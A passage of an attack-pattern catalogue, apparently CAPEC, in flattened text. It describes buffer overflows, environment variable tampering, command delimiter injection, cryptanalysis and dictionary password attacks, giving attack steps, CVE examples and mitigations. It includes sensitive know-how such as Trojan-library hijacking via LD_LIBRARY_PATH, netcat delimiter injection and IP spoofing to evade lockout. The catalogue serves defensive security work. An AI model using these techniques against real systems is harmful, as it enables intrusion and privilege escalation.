address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code. The most common is remote code execution. 120 Targeted 119 Targeted 118 Targeted 74 Targeted 20 Targeted 680 Targeted 733 Secondary 697 Targeted 100 More Detailed Bound checking should be performed when copying data to a buffer. Reluctance to trust Defense in Depth Penetration High High High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Buffer Errors G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This attack targets command-line utilities available in a number of shells. An attacker can leverage a vulnerability found in a command-line utility to escalate privilege to root.

Attacker identifies command utilities exposed by the target host. On the probing stage, the attacker interacts with the command utility and observes the results of its input. The attacker's goal is to uncover a buffer oveflow in the command utility. For instance the attacker may find that input data are not properly validated. The attacker finds a buffer overflow vulnerability in the command utility and tries to exploit it. He crafts malicious code and injects it using the command utility. The attacker can at worst execute remote code on the target host. The target host exposes a command-line utility to the user. The command-line utility exposed by the target host has a buffer overflow vulnerability that can be exploited. High High Injection API Abuse Attack Example: HPUX passwd A buffer overflow in the HPUX passwd command allows local users to gain root privileges via a command-line option. Attack Example: Solaris getopt A buffer overflow in Solaris's getopt command (found in libc) allows local users to gain root privileges via a long argv[0]. Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS. High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. The attacker can probe for services available on the target host. Many services may expose a command utility. For instance Telnet is a service which can be invoked through a command shell. Carefully review the service's implementation before making it available to user. For instance you can use manual or automated code review to uncover vulnerabilities such as buffer overflow. Use a language or compiler that performs automatic bounds checking. Use an abstraction library to abstract away risky APIs. Not a complete solution. Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution. Operational: Use OS-level preventative functionality. Not a complete solution. Apply the latest patches to your user exposed services. This may not be a complete solution, specially against zero day attack. Do not unnecessarily expose services. Privilege Escalation Run Arbitrary Code Data Modification Denial of Service Information Leakage The user supplied data. The buffer overrun by the attacker. When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code. The most common is remote code execution. 120 Targeted 118 Targeted 119 Targeted 74 Targeted 20 Targeted 680 Targeted 733 Secondary 697 Targeted 100 More Detailed 10 More Detailed Reluctance to trust Defense in Depth Least Privilege Bound checking should be performed when copying data to a buffer. Penetration High High High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Buffer Errors G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Attack Execution Flow, Probing Techniques and Method of Attack Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.

The attacker tries to find an environment variable which can be overwritten for instance by gathering information about the target host (error pages, software's version number, etc.). The attacker manipulates the environment variable to contain excessive-length content to cause a buffer overflow. The attacker potentially leverages the buffer overflow to inject maliciously crafted code in an attempt to execute privileged command on the target environment. The application uses environment variables. An environment variable exposed to the user is vulnerable to a buffer overflow. The vulnerable environment variable uses untrusted data. Tainted data used in the environment variables is not properly validated. For instance boundary checking is not done before copying the input data to a buffer. High High Injection Attack Example: Buffer Overflow in $HOME A buffer overflow in sccw allows local users to gain root access via the $HOME environmental variable. CVE-1999-0906 Attack Example: Buffer Overflow in TERM A buffer overflow in the rlogin program involves its consumption of the TERM environmental variable. CVE-1999-0046 Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS. High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. While interacting with a system an attacker would typically investigate for environment variables that can be overwritten. The more a user knows about a system the more likely she will find a vulnerable environment variable. On a web environment, the attacker can read the client side code and search for environment variables that can be overwritten. There are tools such as Sharefuzz (http://sharefuzz.sourceforge.net/) which is an environment variable fuzzer for Unix that support loading a shared library. Attackers can use such tools to uncover a buffer overflow in an environment variable. If the application does bound checking, it should fail when the data source is larger than the size of the destination buffer. If the application's code is well written, that failure should triger an alert. Do not expose environment variable to the user. Do not use untrusted data in your environment variables. Use a language or compiler that performs automatic bounds checking There are tools such as Sharefuzz (http://sharefuzz.sourceforge.net/) which is an environment variable fuzzer for Unixes that support loading a shared library. You can use Sharefuzz to determine if you are exposing an environment variable vulnerable to buffer overflow. Denial of Service Run Arbitrary Code Information Leakage Data Modification Privilege Escalation The user modifiable environment variable. User supplied data potentially containing malicious code. When the subroutine which uses the environment variable returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code. The most common is remote code execution. 120 Targeted 302 Targeted 118 Targeted 119 Targeted 74 Targeted 99 Targeted 20 Targeted 680 Targeted 733 Secondary 697 Targeted 100 More Detailed Reluctance to trust Bound checking should be performed when copying data to a buffer. Penetration High High High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Buffer Errors G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

Attackers aware that more data is being fed into a multicast or public information distribution means can 'select' information bound only for another client, even if the distribution means itself forces users to authenticate in order to connect initally. Doing so allows the attacker to gain access to possibly privileged information, possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could change its identifier from a less privileged to more so privileged channel or command.

Determine the nature of messages being transported as well as the identifiers to be used as part of the attack If required, authenticate to the distribution channel If any particular client's information is available through the transport means simply by selecting a particular identifier, an attacker can simply provide that particular identifier. Attackers with client access connecting to output channels could change their channel identifier and see someone else's (perhaps more privileged) data. Information and client-sensitive (and client-specific) data must be present through a distribution channel available to all users. Distribution means must code (through channel, message identifiers, or convention) message destination in a manner visible within the distribution means itself (such as a control channel) or in the messages themselves. High Very High A certain B2B interface on a large application codes for messages passed over a MQSeries queue, on a single "Partners" channel. Messages on that channel code for their client destination based on a partner_ID field, held by each message. That field is a simple integer. Attackers having access to that channel, perhaps a particularly nosey partner, can simply choose to store messages of another parnter's ID and read them as they desire. Note that authentication does not prevent a partner from leveraging this attack on other partners. It simply disallows Attackers without partner status from conducting this attack. Low: All the attacker needs to discover is the format of the messages on the channel/distribution means and the particular identifier used within the messages. The Attacker needs the ability to control source code or application configuration responsible for selecting which message/channel id is absorbed from the public distribution means. Assisted protocol analysis: because the protocol under attack is a public channel, or one in which the attacker likely has authorized access to, they need simply to decode the aspect of channel or message interpretation that codes for message identifiers. Probing is as simple as changing this value and watching its effect. Associate some ACL (in the form of a token) with an authenticated user which they provide middleware. The middleware uses this token as part of its channel/message selection for that client, or part of a discerning authorization decision for privileged channels/messages. The purpose is to architect the system in a way that associates proper authentication/authorization with each channel/message. Rearchitect system input/output channels as appropriate to distribute self-protecting data. That is, encrypt (or otherwise protect) channels/messages so that only authorized readers can see them. Information Leakage Privilege Escalation This pattern applies in circumstances in which publically accessible distribution means code (through channel, message identifiers, or convention) for client-specific subscription information about messages being distributed. Commonly, this will happen over message-oriented middleware buses, multicast channels, or feeds. 201 Targeted 306 Secondary 21 Similar Complete Mediation Use Authentication Mechanisms, Where Appropriate, Correctly Use Authorization Mechanisms Correctly: this refers to Ambiguity of authentication. Many authorization systems use ambiguous symbols (i.e., principal names) to identify principals allowing circumvention of authorization by using a different, though equivalent, principal name. For example, there are many implementations for restricting remote host access to local services that may allow many proper—but apparently different—names for unique hosts (e.g., fully qualified domain names, shortened names, CNAMEs, IPv4 addresses, IPv6 addresses). Penetration Medium Low Low Client-Server n-Tier SOA All All All John Steven Cigital, Inc 2007-02-10 Initial core pattern content Chiradeep B. Chhaya Cigital, Inc 2007-02-23 Fleshed out pattern with extra content Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.

The attacker probes the application for information. Which version of the application is running? Are there known environment variables? etc. The attacker gains control of an environment variable and ties to find out what process(es) the environment variable controls. The attacker modifies the environment variable to abuse the normal flow of processes or to gain access to privileged ressources. An environment variable is accessible to the user. An environment variable used by the application can be tainted with user supplied data. Input data used in an environment variable is not validated properly. The variables encapsulation is not done properly. For instance setting a variable as public in a class makes it visible and an attacker may attemp to manipulate that variable. Very High Very High Injection Modification of Resources Protocol Manipulation Environment variables Changing the LD_LIBRARY_PATH environment variable in TELNET will cause TELNET to use an alternate (possibly Trojan) version of a function library. The Trojan library must be accessible using the target file system and should include Trojan code that will allow the user to log in with a bad password. This requires that the attacker upload the Trojan library to a specific location on the target. As an alternative to uploading a Trojan file, some file systems support file paths that include remote addresses, such as \\172.16.2.100\shared_files\trojan_dll.dll. Path Manipulation (CVE-1999-0073) Low: In a web based scenario, the client controls the data that it submitted to the server. So anybody can try to send malicious data and try to bypass the authentication mechanism. Medium/High: Some more advanced attacks may require knowledge about protocols and probing technique which help controling a variable. The malicious user may try to understand the authentication mechanism in order to defeat it. An attacker can intentionally modify the client side parameter and monitor how the server behaves in response to that modification. For instance an attacker will look at the cookie data, the URL parameters, the hidden variables in forms, variables used in system calls, etc. If the client uses a program in binary format to connect to the server, disassembler can be used to identify parameter within the binary code, and then the attacker would try to simulate the client application and change some of the parameters sent to the server. For instance the attacker may find that a secret key or a path is hard coded in the binary client application. Environment variables are frequently stored in cleartext configuration files. If the attacker can modify those configuration files, he can control the environment variables. Even a read access can potentially be dangerous since this may give sensitive information to perform this type of attack. Indeed knowing which environment variables the application uses is a prerequisite to this type of attack. The attacker may try to obfuscate its attempts to subvert the target process (such as authentication) by using valid values for the variable she controls. By using valid values the user tries to understand the authentication mechanism. This would be in preparation to a more serious attack. Protect environment variables against unauthorized read and write access. Protect the configuration files which contain environment variables against illegitimate read and write access. Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Apply the least privilege principles. If a process has no legitimate reason to read an environment variable do not give that privilege. Run Arbitrary Code Privilege Escalation Denial of Service Information Leakage The client controlled parameter The new value of the client controlled parameter. The activation zone is the server side function where the client controlled parameter is consumed. Consuming an attacker contolled parameter can defeat the normal process of the application. 353 Targeted 285 Secondary 302 Targeted 74 Targeted 15 Targeted 73 Targeted 20 Secondary 200 Secondary CVE-2006-4244 SQL-Ledger 2.4.4 through 2.6.17 authenticates users by verifying that the value of the sql-ledger-[username] cookie matches the value of the sessionid parameter, which allows remote attackers to gain access as any logged-in user by setting the cookie and the parameter to the same value. CVE-2006-2734 enter.asp in Mini-Nuke 2.3 and earlier makes it easier for remote attackers to conduct password guessing attacks by setting the guvenlik parameter to the same value as the hidden gguvenlik parameter, which bypasses a verification step because the guvenlik parameter is assumed to be immutable by the attacker. CVE-2006-2527 Admin/admin.php in phpBazar 2.1.0 and earlier allows remote attackers to bypass the authentication process and gain unauthorized access to the administrative section by setting the action parameter to edit_member and the value parameter to 1. CVE-2006-1505 base_maintenance.php in Basic Analysis and Security Engine (BASE) before 1.2.4 (melissa), when running in standalone mode, allows remote attackers to bypass authentication, possibly by setting the standalone parameter to "yes". 77 More Detailed 76 More Abstract 14 Occasionally Precedes 10 Similar Reluctance to trust Always perform wise data validation. Do not accept tainted data without validation. Do not simply base authentication on the client controlled parameter. Avoid relying on client side validation only. Penetration Medium High Low All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Input Validation G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Description and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.

The attacker creates a custom hostile service The attacker acquires information about the kind of client attaching to her hostile service to determine if it contains an exploitable buffer overflow vulnerability. The attacker intentionally feeds malicious data to the client to exploit the buffer overflow vulnerability that she has uncovered. The attacker leverages the exploit to execute arbitrary code or to cause a denial of service. The targeted client software communicates with an external server. The targeted client software has a buffer oveflow vulnerability. High Medium API Abuse Injection Attack Example: Buffer Overflow in Internet Explorer 4.0 Via EMBED Tag Authors often use <EMBED> tags in HTML documents. For example <EMBED TYPE="audio/midi" SRC="/path/file.mid" AUTOSTART="true"> If an attacker supplies an overly long path in the SRC= directive, the mshtml.dll component will suffer a buffer overflow. This is a standard example of content in a Web page being directed to exploit a faulty module in the system. There are potentially thousands of different ways data can propagate into a given system, thus these kinds of attacks will continue to be found in the wild. Low : To achieve a denial of service, an attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap requires a more in-depth knowledge and higher skill level. The server may look like a valid server, but in reality it may be a hostile server aimed at fooling the client software. For instance the server can use honey pots and get the client to download malicious code. Once engaged with the client, the hostile server may attempt to scan the client's host for open ports and potential vulnerabilities in the client software. The hostile server may also attempt to install and run malicious code on the client software. That malicious code can be used to scan the client software for buffer overflow. An example of indicator is when the client software crashes after executing code downloaded from a hostile server. The client software should not install untrusted code from a non authenticated server. The client software should have the latest patches and should be audited for vulnerabilities before being used to communicate with potentially hostile servers. Perform input validation for length of buffer inputs. Use a language or compiler that performs automatic bounds checking. Use an abstraction library to abstract away risky APIs. Not a complete solution. Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution. Ensure all buffer uses are consistently bounds-checked. Use OS-level preventative functionality. Not a complete solution. Denial of Service Run Arbitrary Code "Backwash Attacks: Leveraging Client-side Buffer Overflows Nothing is more forward than directly attacking those who are attacking you. In many cases this philosophy is instantiated as a series of denial-of-service attacks launched in either direction. In standard scenarios, you can learn what IP address is being used to attack you, and then you can follow up with an attack of your own. (Be forewarned, however, that the legal ramifications of counterattack are drastic.) If the attacker is dumb enough to have open services, you may in some cases be able to own their system. This has led some security types to consider a rather insidious tactic—creating hostile network services that look like valid targets. The basic idea builds on the idea of honey pots, but goes one important step further. Because most client software contains buffer overflows and other vulnerabilities, including a capacity to exploit these weaknesses directly when probed is within the realm of possibility. Not surprisingly, of all the code that gets tested and probed in a security situation, client code is usually ignored. This is one of the reasons that client code ends up with more serious problems than server code. If a vulnerable client attaches to a hostile service, the hostile service can attempt to identify the type and version of the client that is connecting. This is a variety of fingerprinting. Once the client is properly identified, the hostile server can issue a response that exploits a buffer overflow (or some other security defect) in the client. Typically this kind of attack is not designed simply just to crash the client. Attackers using this technique can inject a virus or backdoor into the original attacker's computer using their own connection against them. Obviously, this kind of "backwash attack" is a serious threat to an attacker. Anyone planning to attack arbitrary systems should assume that a backwash attack can and will happen. Any and all client software should be carefully audited before use." Attacker-supplied data potentially containing malicious code. When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to malicious code. The most common are remote code execution or denial of service. 120 Targeted 353 Targeted 118 Targeted 119 Targeted 74 Targeted 20 Targeted 680 Targeted 697 Targeted 713 Targeted 8 More Detailed Reluctance to Trust Defense in Depth Penetration High High High Client-Server Other All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Buffer Errors G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

Assess Target Runtime Environment In situations where the runtime environment is not implicitly known, the attacker makes connections to the target system and tries to determine the system's runtime environment. Knowing the environment is vital to choosing the correct delimiters. Port mapping using network connection-based software (e.g., nmap, nessus, etc.) env-ClientServer env-Embedded env-CommProtocol env-Peer2Peer env-Web Port mapping by exploring the operating system (netstat, sockstat, etc.) env-Local TCP/IP Fingerprinting env-All Induce errors to find informative error messages env-All The target software accepts connections via the network. env-Web env-CommProtocol env-Peer2Peer env-Embedded Operating environment (operating system, language, and/or middleware) is correctly identified. Multiple candidate operating environments are suggested. Provide misleading information on TCIP/IP fingerprints (some operating systems can be configured to send signatures that match other operating systems). Provide misleading information at the server level (e.g., Apache, IIS, WebLogic, etc.) to announce a different server software. Some fingerprinting techniques can be detected by operating systems or by network IDS systems because they leave the network connection half-open, or they do not belong to a valid, open connection. Survey the Application The attacker surveys the target application, possibly as a valid and authenticated user Spidering web sites for all available links env-Web Inventory all application inputs env-All Attacker develops a list of valid inputs env-Web env-ClientServer The attacker develops a list of likely command delimiters. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Monitor velocity of feature activations (non-web software). Humans who activate features (click buttons, request actions, invoke APIs, etc.) will do so far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Attempt delimiters in inputs The attacker systematically attempts variations of delimiters on known inputs, observing the application's response each time. Inject command delimiters using network packet injection tools (netcat, nemesis, etc.) env-CommProtocol env-Web env-Peer2Peer env-ClientServer Inject command delimiters using web test frameworks (proxies, TamperData, custom programs, etc.) env-Web Enter command delimiters directly in input fields. env-Embedded env-Local env-ClientServer Attack step 2 is successful. env-All One or more command delimiters for the platform provokes an unexpected response from the software, which can be varied by the attacker based on the input. Use malicious command delimiters The attacker uses combinations of payload and carefully placed command delimiters to attack the software. The software performs as expected by the attacker. Software's input validation or filtering must not detect and block presence of additional malicious command. High High Injection By appending special characters, such as a semicolon or other commands that are executed by the target process, the attacker is able to execute a wide variety of malicious commands in the target process space, utilizing the target's inherited permissions, against any resource the host has access to. The possibilities are vast including injection attacks against RDBMS (SQL Injection), directory servers (LDAP Injection), XML documents (XPath and XQuery Injection), and command line shells. In many injection attacks, the results are converted back to strings and displayed to the client process such as a web browser without tripping any security alarms, so the network firewall does not log any out of the ordinary behavior. LDAP servers house critical identity assets such as user, profile, password, and group information that is used to authenticate and authorize users. An attacker that can query the directory at will and execute custom commands against the directory server is literally working with the keys to the kingdom in many enterprises. When user, organizational units, and other directory objects are queried by building the query string directly from user input with no validation, or other conversion, then the attacker has the ability to use any LDAP commands to query, filter, list, and crawl against the LDAP server directly in the same manner as SQL injection gives the ability to the attacker to run SQL commands on the database. Medium: The attacker has to identify injection vector, identify the specific commands, and optionally collect the output, i.e. from an interactive session. Ability to communicate synchronously or asynchronously with server. Optionally, ability to capture output directly through synchronous communication or other method such as FTP. Design: Perform whitelist validation against a positive specification for command length, type, and parameters. Design: Limit program privileges, so if commands circumvent program input validation or filter routines then commands do not running under a privileged account Implementation: Perform input validation for all remote content. Implementation: Use type conversions such as JDBC prepared statements. Run Arbitrary Code Information Leakage "Attack Pattern: Command Delimiters "Using the semicolon or other off-nominal characters, multiple commands can be strung together. Unsuspecting target programs will execute all the commands." [Hoglund and McGraw 04] Malicious input delivered through appending delimiters to standard input Command(s) appended to valid parameters to enable attacker to execute commands on host Client machine and client network Enables attacker to execute server side code with any commands that the program owner has privileges to. 146 Targeted 77 Targeted 184 Targeted 78 Targeted 185 Targeted 93 Targeted 140 Targeted 157 Targeted 138 Targeted 154 Targeted 697 Targeted 713 Targeted 6 More Detailed Penetration High High High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Paco Hope Cigital, Inc. 2007-10-20 Added extended Attack Execution Flow

Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction). Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful. An attacker may have other goals as well, such as: 1. Total Break - Finding the secret key 2. Gobal Deduction - Finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key. 3. Information Deduction - Gaining some information about plaintexts or ciphertexts that was not previously known 4. Distinguishing Algorithm - The attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits The goal of the attacker performing cryptanalysis will depend on the specific needs of the attacker in a given attack context. In most cases, if cryptanalysis is successful at all, an attacker will not be able to go past being able to deduce some information about the plaintext (goal 3). However, that may be sufficient for an attacker, depending on the context.

An attacker discovers a weakness in the cryptographic algorithm or a weakness in how it was applied to a particular chunk of plaintext. An attacker leverages the discovered weakness to decrypt, partially decrypt or infer some information about the contents of the encrypted message. All of that is done without knowing the secret key. The target software utilizes some sort fo cryptographic algorithm. An underlying weaknesses exists either in the cryptographic algorithm used or in the way that it was applied to a particular chunk of plaintext. The encryption algorithm is known to the attacker. An attacker has access to the ciphertext. Very High Very Low Analysis Brute Force A very easy to understand (but totally inapplicable to modern cryptographic ciphers) example is a cryptanalysis technique called frequency analysis that can be successfully applied to the very basic classic encryption algorithms that performed monoalphabetic substitution replacing each letter in the plaintext with its predetermined mapping letter from the same alphabet. This was considered an improvement over a more basic technique that would simply shift all of the letters of the plaintext by some constant number of positions and replace the original letters with the new letter with the resultant alphabet position. While monoalphabetic substitution ciphers are resilient to blind brute force, they can be broken easily with nothing more than a pen and paper. Frequency analysis cryptanalysis uses the fact that natural language is not random and monoalphabetic substitution does not hide the statistical properties of the natural language. So if the letter "E" in an English language occurs with a certain known frequency (about 12.7%), whatever "E" was substituted with to get to the ciphertext, will occur with the similar frequency. Having this frequency information allows the cryptanalyst to quickly determine the substitutions and decipher the ciphertext. Frequency analysis techniques are not applicable to modern ciphers as they are all resilient to it (unless this is a very bad case of a homegrown encryption algorithm). This example is just here to illustrate a rudimentary example of cryptanalysis. High - Cryptanalysis generally requires a very significant level of understanding of mathematics and computation. Computing resource requirements will vary based on the complexity of a given cryptanalysis technique. Access to the encryption/decryption routines of the algorithm is also required. Use proven cryptographic algorithms with recommended key sizes. Ensure that the algorithms are used properly. That means: 1. Not rolling out your own crypto; Use proven algorithms and implementations. 2. Choosing initialization vectors with sufficiently random numbers 3. Generating key material using good sources of randomness and avoiding known weak keys 4. Using proven protocols and their implementations. 5. Picking the most appropriate cryptographic algorithm for your usage context and data Information Leakage Data Modification Privilege Escalation 327 Targeted 693 Targeted 719 Targeted 20 More Detailed Occasionally Follows Reconnaissance High High Low All All All All Wikipedia (Cryptanalysis): www.wikipedia.org Sean Barnum Cigital, Inc. 2007-03-25 Identified priority for pattern creation Evgeny Lebanidze Cigital, Inc., 2007-03-20 Fleshed out content for pattern Sean Barnum Cigital, Inc 2007-04-16 Review and revise

An attacker tries each of the words in a dictionary as passwords to gain access to the system via some user's account. If the password chosen by the user was a word within the dictionary, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern.

Determine application's/system's password policy Determine the password policies of the target application/system. Determine minimum and maximum allowed password lengths. env-All Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary). env-All Determine account lockout policy (a strict account lockout policy will prevent brute force attacks). env-All Passwords are used in the application/system env-All Passwords are not used in the application/system. env-All Select dictionaries Pick the dictionaries to be used in the attack (e.g. different languages, specific terminology, etc.) Select dictionary based on particular users' preferred languages. env-All Select dictionary based on the application/system's supported languages. env-All Determine username(s) to target Determine username(s) whose passwords to crack. Obtain username(s) by sniffing network packets. env-CommProtocol env-Peer2Peer env-ClientServer Obtain username(s) by querying application/system (e.g. if upon a failed login attempt, the system indicates whether the entered username was valid or not) env-All Obtain usernames from filesystem (e.g. list of directories in C:\Documents and Settings\ in Windows, and list in /etc/passwd in UNIX-like systems) env-Embedded env-Local Remote application or system provides no indication regarding whether a given username is valid or not. env-ClientServer env-Peer2Peer env-Web env-CommProtocol At least one valid username found. Presence of any valid usernames could not be established. Do not reveal information regarding validity of particular usernames to users. Lock out accounts whose usernames are suspected to have been compromised. Use dictionary to crack passwords. Use a password cracking tool that will leverage the dictionary to feed passwords to the system and see if they work. Try all words in the dictionary, as well as common misspellings of the words as passwords for the chosen username(s). env-All Try common combinations of words in the dictionary, as well as common misspellings of the combinations as passwords for the chosen username(s). env-All Application/system does not use password authentication. env-All Attacker determines correct password for a user ID and obtains access to application or system. Attacker is unable to determine correct password for a user ID and obtain access to application or system. Large number of authentication failures in logs. Enforce strict account lockout policies. Enforce strong passwords (having sufficient length and containing mix of lower case and upper case letters, numbers, and special characters) The system uses one factor password based authentication. The system does not have a sound password policy that is being enforced. The system does not implement an effective password throttling mechanism. High Medium Brute Force A system user selects the word "treacherous" as their passwords believing that it would be very difficult to guess. The password-based dictionary attack is used to crack this password and gain access to the account. The Cisco LEAP challenge/response authentication mechanism uses passwords in a way that is susceptible to dictionary attacks, which makes it easier for remote attackers to gain privileges via brute force password guessing attacks. Cisco LEAP is a mutual authentication algorithm that supports dynamic derivation of session keys. With Cisco LEAP, mutual authentication relies on a shared secret, the user's logon password—which is known by the client and the network, and is used to respond to challenges between the user and the Remote Authentication Dial-In User Service (RADIUS) server. Methods exist for someone to write a tool to launch an offline dictionary attack on password-based authentications that leverage Microsoft MS-CHAP, such as Cisco LEAP. The tool leverages large password lists to efficiently launch offline dictionary attacks against LEAP user accounts, collected through passive sniffing or active techniques. CVE-2003-1096 Low: A variety of password cracking tools and dictionaries are available to launch this type of an attack. A machine with sufficient resources for the job (e.g. CPU, RAM, HD). Applicable dictionaries are required. Also a password cracking tool or a custom script that leverages the dictionary database to launch the attack. Many invalid login attempts are coming from the same machine (same IP address) or for the same log in name. The login attempts use passwords that are dictionary words. Employ IP spoofing to make it seem like login attempts are coming from different machines. Create a strong password policy and ensure that your system enforces this policy. Implement an intelligent password throttling mechanism. Care must be taken to assure that these mechanisms do not excessively enable account lockout attacks such as CAPEC-02. Privilege Escalation 521 Targeted 262 Targeted 263 Targeted 693 Targeted 49 More Abstract Occasionally Follows 70 More Detailed Occasionally Precedes 55 Occasionally Follows Penetration High Medium Low All All All All Eugene Lebanidze Cigital, Inc 2007-02-26 Sean Barnum Cigital, Inc 2007-03-01 Review and revision of content Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Solutions Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

